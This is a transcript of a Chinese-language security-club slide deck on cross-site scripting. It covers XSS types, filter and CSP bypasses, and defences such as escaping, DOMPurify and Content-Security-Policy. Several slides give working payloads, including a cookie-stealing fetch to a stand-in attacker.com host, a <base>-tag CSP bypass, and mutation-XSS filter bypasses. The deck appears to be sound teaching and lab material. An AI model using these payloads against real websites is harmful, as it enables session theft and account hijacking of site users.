Upgrade to Pro — share decks privately, control downloads, hide ads and more …

XSS Everywhere@HackerSir 11th

Avatar for YUKAI YUKAI
May 30, 2025
5

XSS Everywhere@HackerSir 11th

Avatar for YUKAI

YUKAI

May 30, 2025
Tweet

Transcript

  1. What is XSS • Cross Site Script(not css) • XSS

    Type • Reflected XSS • Stored XSS • DOM-based XSS 將有 XSS 的網址給 使用者 使用者點入網頁 XSS 將使用者 資訊傳給駭客 網頁觸發 XSS
  2. • 偷取敏感的資料(如 cookie) • 偽造請求 • 任何可以在瀏覽器做到的事 • 截圖 •

    點擊劫持(clickjacking) • 強制下載 • 鍵盤紀錄(keylogging) Why XSS danger
  3. Easy Practice • <script>alert('xss')</script> • <a href=javascript:alert('xss')>1</a> • <img src=x

    onerror=alert('xss')> • <body onload=alert('xss')> • <input onfocus=write("xss") autofocus>
  4. Blind XSS(以 Lab1 為例) 1. 抓 cookie 或其他可能儲存資料的地方(ex:localstorge) 2. 將

    cookie 丟到自己能看到的地方(ex:自己的伺服器) • 好用資源:requestbin、cloudflare <script>fetch("[attacker.com]?"+document.cookie)</script>
  5. • 一般的使用者輸入框 <input>(POST method) • url 的 query 參數(GET method)

    Example: http://127.0.0.1:10001/?message=%3Cscript%3Ealert(%22xss%22)%3C/script%3E 伺服器接收到 message 參數是 %3Cscript%3Ealert(%22xss%22)%3C/script%3E 經過 url decode → <script>alert("xss")</script> Where can I test XSS
  6. • JavaScript 偽協議(javascript:) • <a href=javascript:alert('xss')>1</a> • <iframe src="javascript:alert(1)"></iframe> •

    <form action="javascript:alert(1)"> <button>submit</button> </form> • window.location='javascript:alert(1)' JavaScript pseudo-protocol
  7. Just ban everything! (???) • 只有 { } [ ]

    + ! 也能觸發 JS • JSFuxk
  8. CheatSheet & Other Resource • PortSwigger XSS CheatSheet • Payload

    All The Things – XSS Injection • Web-CTF-CheatSheet
  9. How to prevent XSS • Black List & White List

    • Length Limit • HTML Escape • Filter、Sanitize • More …
  10. How to prevent XSS - Escape • PHP 的 htmlspecialchars

    • Other framework(ex:flask、jsp) 字符 HTML Entity & &amp; " &quot; ' &#039; 、&apos; < &lt; > &gt; This is some <b>bold</b> text. This is some &lt;b&gt;bold&lt;/b&gt; text. • Online HTML Entity Encoder/Decoder
  11. How to prevent XSS - Filter • DOMPurify • 用來清除可疑

    XSS 的高效程式 • <img src=x onerror=alert(1)//> → <img src="x"> • <p>abc<iframe//src=jAva&Tab;script:alert(3)>def</p> → <p>abc</p> • Sanitizer API:瀏覽器內建清除 XSS 的程式
  12. How to attack - Filter • Mutation XSS • 利用瀏覽器的渲染方式達到

    XSS <table><h1>hello</h1></table> <h1>hello</h1> <table></table>
  13. How to attack - Filter • <noscript> • 利用瀏覽器會先將 <noscript>

    閉合的渲染方式 <noscript><p title="</noscript><img src=x onerror=alert(1)>"> <noscript><p title="</noscript> <img src=x onerror=alert(1)> "">"
  14. Real World- WAF WAF(Web Application Firewall) • 監控 http 流量並進行控制、阻斷

    • 防禦已知漏洞的網頁攻擊 • Example:cloudflare、AWS WAF
  15. • 在 response 中設定 • Content-Security-Policy: ... • 在 meta

    tag 設定 • <meta http-equiv="Content-Security-Policy" content="..."> • 在 Web Server 設定 How to use CSP
  16. • Example • default-src 'self' hackersir.org; • img-src 'self' https://www.fcu.edu.tw/;

    CSP 表示方式 • Directive Source1 Source2 Source3 … ;
  17. • deafult-src:預設來源 • script-src:javascript 來源 • style-src:css 來源 • base-uri:於

    <base> tag 可使用的相對路徑 • connect-src:可被連接的來源(Ex:AJAX、fetch()、WebSocket) Directive • font-src:字形來源 • media-src:媒體來源(video、audio) • img-src:圖片來源
  18. Source • 'none' 不允許任何來源的資源 • 'self' 允許來自同源網站(same origin)的資源 • data:

    允許 base64 endcode (或其他編碼)的圖片 • unsafe-inline 允許 inline JS 執行(ex:event handler、javascript:) • unsafe-eval 允許 JS 執行 eval() • nonce- 允許與 CSP 相同 nonce 的 script
  19. Content-Security-Policy: script-src 'nonce-hacker' • 允許 script ,但只限 nonce 也是 hacker

    的 script • <script nonce="hacker"> → 允許 • <script nonce="h0cker"> → 不允許 • More:Content Security Policy Reference script-src nonce-
  20. • <base>:用來設定 url 相對路徑的參考位置 • 攻擊時機:有設定 script-src,但缺少 base-uri 的 CSP

    設定 • Example:<base href="https://attacker.com/"> • 將所有的 script 的參考位置改為 https://attacker.com/ CSP Bypass - <base> Tag
  21. CSP Bypass - <base> Tag https://hello.com/script.js  原本應該從這個網址取得 js script

    <base href="https://attacker.com/">  改變相對路徑的參考網址 https://attacker.com/script.js  變成從攻擊者的網址取得 js script fetch("[attacker.com]?"+document.cookie) XSS
  22. • CSP • default-src 'self'; • script-src 'self' 'nonce-YgD1ywsAlKRuCxYV’; •

    connect-src * • script- src 有設置 nonce,但缺少 base-uri 的設定 以 Lab4 為例 - Recon
  23. More Web Security • PicoCTF • PortSwigger • DVWA •

    HackTrick - Pentesting Web • CTFTime • Hacker101